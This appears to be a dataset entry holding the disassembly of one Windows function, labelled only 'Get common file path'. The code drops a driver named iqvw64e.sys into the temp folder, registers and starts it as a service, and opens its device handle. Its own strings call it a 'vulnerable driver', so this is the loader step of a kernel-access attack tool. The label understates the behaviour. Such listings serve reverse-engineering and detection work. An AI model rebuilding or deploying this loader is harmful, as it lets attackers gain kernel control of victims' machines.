Function at 0x14004c290
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0xd0]
sub rsp, 0x1d0
mov rax, qword [0x1400b8100]
xor rax, rsp
mov qword [rbp + 0xc0], rax
xor ebx, ebx
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp - 0x50]
call fcn.140089530
lea rdx, [rbp - 0x50]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
dec eax
cmp eax, 0x103
ja 0x14004c52a
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
lea rax, [rbp - 0x50]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], bl
jne 0x14004c301
lea rdx, [rbp - 0x50]
lea rcx, [rsp + 0x68]
call fcn.1400508d0
nop
mov r8d, 1
lea rdx, [0x1400a68a0]
lea rcx, [rsp + 0x68]
call fcn.14004eda0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], rbx
mov byte [rax], 0
mov r8d, 0xb
lea rdx, str.iqvw64e.sys
lea rcx, [rsp + 0x40]
call fcn.14004eda0
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x68], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x14004c3e2
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004c3dd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004c56d
call fcn.14005b6d4
movdqa xmm0, xmmword [0x1400a71d0]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], 0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x14004c439
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004c42c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004c573
call fcn.14005b6d4
movdqa xmm0, xmmword [0x1400a71d0]
movdqu xmmword [rsp + 0x78], xmm0
mov byte [rsp + 0x68], 0
lea rcx, [rbp - 0x78]
cmp qword [rbp - 0x60], 0xf
cmova rcx, qword [rbp - 0x78]
call fcn.14006be68
lea rcx, [rbp - 0x78]
call fcn.1400550e0
test al, al
jne 0x14004c481
lea rdx, str.Failed_to_create_vulnerable_driver_file
lea rcx, [0x1400b9570]
call fcn.14004fa40
mov rcx, rax
call fcn.14004fcf0
jmp 0x14004c4ee
lea rcx, [rbp - 0x78]
call fcn.1400546e0
test al, al
jne 0x14004c4be
lea rdx, str.Failed_to_register_and_start_service_for_the_vulnerable_driver
lea rcx, [0x1400b9570]
call fcn.14004fa40
mov rcx, rax
call fcn.14004fcf0
lea rcx, [rbp - 0x78]
cmp qword [rbp - 0x60], 0xf
cmova rcx, qword [rbp - 0x78]
call fcn.14006be68
jmp 0x14004c4ee
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, str..Nal
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x14004c525
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004c520
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004c567
call fcn.14005b6d4
mov rax, rbx
jmp 0x14004c547
lea rdx, str.Failed_to_get_temp_path
lea rcx, [0x1400b9570]
call fcn.14004fa40
mov rcx, rax
call fcn.14004fcf0
xor eax, eax
mov rcx, qword [rbp + 0xc0]
xor rcx, rsp
call fcn.14005b390
mov rbx, qword [rsp + 0x1e0]
add rsp, 0x1d0
pop rbp
ret
call fcn.14006cb58
nop
call fcn.14006cb58
nop
call fcn.14006cb58
int3